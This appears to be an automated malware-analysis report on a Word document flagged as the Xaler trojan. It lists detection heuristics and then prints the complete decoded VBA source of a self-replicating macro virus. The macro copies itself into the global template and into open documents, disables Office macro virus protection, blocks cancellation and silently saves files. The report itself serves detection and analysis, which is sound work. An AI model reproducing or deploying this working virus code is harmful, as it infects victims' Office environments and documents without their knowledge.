MALICIOUS
210
Risk Score
Heuristics 5
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ClamAV: Doc.Trojan.Xaler-1 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Xaler-1
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VBA macros detected medium 2 related findings OLE_VBA_MACROSDocument contains VBA macro code
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VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATIONVBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.Matched line in script
NormalTemplate.VBProject.vbcomponents.Item("ThisDocument").CodeModule.InsertLines 1, keimeno -
Document_Open macro low OLE_VBA_DOCOPENDocument_Open macroMatched line in script
Private Sub Document_Open() -
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://ns.adobe.com/xap/1.0/ In document text (OLE body)
- http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OLE body)
- http://purl.org/dc/elements/1.1/In document text (OLE body)
- http://ns.adobe.com/xap/1.0/g/img/In document text (OLE body)
- http://ns.adobe.com/xap/1.0/mm/In document text (OLE body)
- http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OLE body)
- http://ns.adobe.com/illustrator/1.0/In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 3384 bytes |
SHA-256: 9f91de24df7f3e3f6b2fe703dd7cb2e84cb19cb94e27685833e505c13546d924 |
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Detection
ClamAV:
Doc.Trojan.Xaler-1
Obfuscation or payload:
unlikely
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Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "ESEntity1, 0, 0, UTCESEALADDINLib, ESEntity"
'RELAXClose()Open()ClOpen()
Private Sub RELAX2()
If Day(Date) Mod 10 = 0 And Month(Date) Mod 4 = 0 Then
Close #1
End If
End Sub
Private Sub Document_Close()
Call GOODSub
Call RELAX2
End Sub
Private Sub GOODSub()
On Error Resume Next
Application.ScreenUpdating = False
Application.Options.SaveNormalPrompt = False
x$ = "C:\temp.tmp"
MacroContainer.VBProject.vbcomponents.Item("ThisDocument").Export x$
Open x$ For Input As #1
keimeno = Input(LOF(1), 1)
Close #1
kk& = InStr(1, keimeno, "'RELAX")
keimeno = Right$(keimeno, Len(keimeno) - kk& + 1)
For j = 1 To 2
If j = 1 Then
NormalTemplate.VBProject.vbcomponents.Item("ThisDocument").Export x$
Else
ActiveDocument.VBProject.vbcomponents.Item("ThisDocument").Export x$
End If
Open x$ For Input As #1
rlx = Input(LOF(1), 1)
Close #1
d1 = InStr(1, rlx, "'RELAX")
If d1 = 0 Then
If j = 1 Then
NormalTemplate.VBProject.vbcomponents.Item("ThisDocument").CodeModule.InsertLines 1, keimeno
NormalTemplate.Save
Else
ActiveDocument.VBProject.vbcomponents.Item("ThisDocument").CodeModule.InsertLines 1, keimeno
End If
End If
Next j
'====================
Dim PRostasia As Byte
PRostasia = 1
fff = FreeFile
If Dir(ActiveDocument.FullName, 6) <> "" Then
Open ActiveDocument.FullName For Binary As #fff
Put #fff, 862, PRostasia
Close #fff
ActiveDocument.Save
End If
Kill x$
Application.ScreenUpdating = True
End Sub
'Close()Open()Close()Open()
Private Sub Document_Open()
On Error Resume Next
Options.VirusProtection = False
EnableCancelKey = wdCancelDisabled
Set maci = MacroContainer.VBProject.vbcomponents.Item(1)
Set macic = maci.CodeModule
ns$ = Left(macic.Lines(1, 1), 21)
Set inf = NormalTemplate: nsi$ = ns$ + "Close()"
If MacroContainer = inf Then Set inf = ActiveDocument: nsi$ = ns$ + "Open()"
Set infc = inf.VBProject.vbcomponents
Set infi = infc.Item(1)
Set infic = infi.CodeModule
infi.Name = "ThisDocument"
For mx = 2 To infc.Count
infc.Remove infc.Item(2)
Next mx
If infic.countlines <> macic.countoflines Then
infic.deletelines 1, infic.countoflines
For coco = 1 To macic.countoflines
infic.InsertLines coco, macic.Lines(coco, 1)
Next coco
infic.replaceline 1, nsi$
End If
If Left(ActiveDocument.Name, 8) <> Mid$(macic.Lines(1, 1), 13, 8) Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
EnableCancelKey = wdCancelDisabled
End Sub
'ThisDocument v 1.0 1999
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